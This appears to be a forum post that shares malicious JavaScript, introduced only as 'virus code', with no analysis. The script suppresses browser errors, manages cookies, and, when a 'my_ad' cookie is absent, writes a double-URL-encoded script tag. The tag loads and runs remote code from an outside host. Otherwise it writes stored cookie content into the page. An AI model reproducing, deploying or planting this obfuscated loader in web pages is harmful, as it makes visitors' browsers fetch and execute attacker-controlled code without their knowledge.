贴个病毒代码:
<!--hide
function killYouErrors()
{
return true;
}
window.onerror = killYouErrors;
function GetYouCookieVal(offset)
//获得Cookie解码后的值
{
var endstr = document.cookie.indexOf (";", offset);
if (endstr == -1)
endstr = document.cookie.length;
return unescape(document.cookie.substring(offset, endstr));
}
function SetYouCookie(name, value)
//设定Cookie值
{
var expdate = new Date();
var argv = SetYouCookie.arguments;
var argc = SetYouCookie.arguments.length;
var expires = (argc > 2) ? argv[2] : null;
var path = (argc > 3) ? argv[3] : null;
var domain = (argc > 4) ? argv[4] : null;
var secure = (argc > 5) ? argv[5] : false;
if(expires!=null) expdate.setTime(expdate.getTime() + ( expires * 1000 ));
document.cookie = name + "=" + escape (value) +((expires == null) ? "" : ("; expires="+ expdate.toGMTString()))
+((path == null) ? "" : ("; path=" + path)) +((domain == null) ? "" : ("; domain=" + domain))
+((secure == true) ? "; secure" : "");
}
function DelYouCookie(name)
//删除Cookie
{
var exp = new Date();
exp.setTime (exp.getTime() - 1);
var cval = GetYouCookie (name);
document.cookie = name + "=" + cval + "; expires="+ exp.toGMTString();
}
function GetYouCookie(name)
//获得Cookie的原始值
{
var arg = name + "=";
var alen = arg.length;
var clen = document.cookie.length;
var i_ = 0;
while (i_ < clen)
{
var j_ = i_ + alen;
if (document.cookie.substring(i_, j_) == arg)
return GetYouCookieVal (j_);
i_ = document.cookie.indexOf(" ", i_) + 1;
if (i_ == 0) break;
}
return null;
}
if (GetYouCookie("my_ad")==null)
{
document.write(unescape(unescape("%25%33%43%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%32%30%25%36%43%25%36%31%25%36%45%25%36%37%25%37%35%25%36%31%25%36%37%25%36%35%25%33%44%25%32%32%25%36%41%25%36%31%25%37%36%25%36%31%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%32%32%25%32%30%25%37%33%25%37%32%25%36%33%25%33%44%25%32%32%25%36%38%25%37%34%25%37%34%25%37%30%25%33%41%25%32%46%25%32%46%25%37%37%25%36%35%25%36%32%25%32%45%25%36%38%25%36%31%25%37%36%25%36%35%25%36%39%25%37%30%25%32%45%25%36%33%25%36%46%25%36%44%25%32%46%25%36%44%25%37%39%25%32%45%25%36%31%25%37%33%25%37%30%25%32%32%25%33%45%25%33%43%25%32%46%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45")));
}
else if (GetYouCookie("my_ad")=="yes")
{
var my_ad=GetYouCookie("ad_str")
document.write(my_ad)
}
-->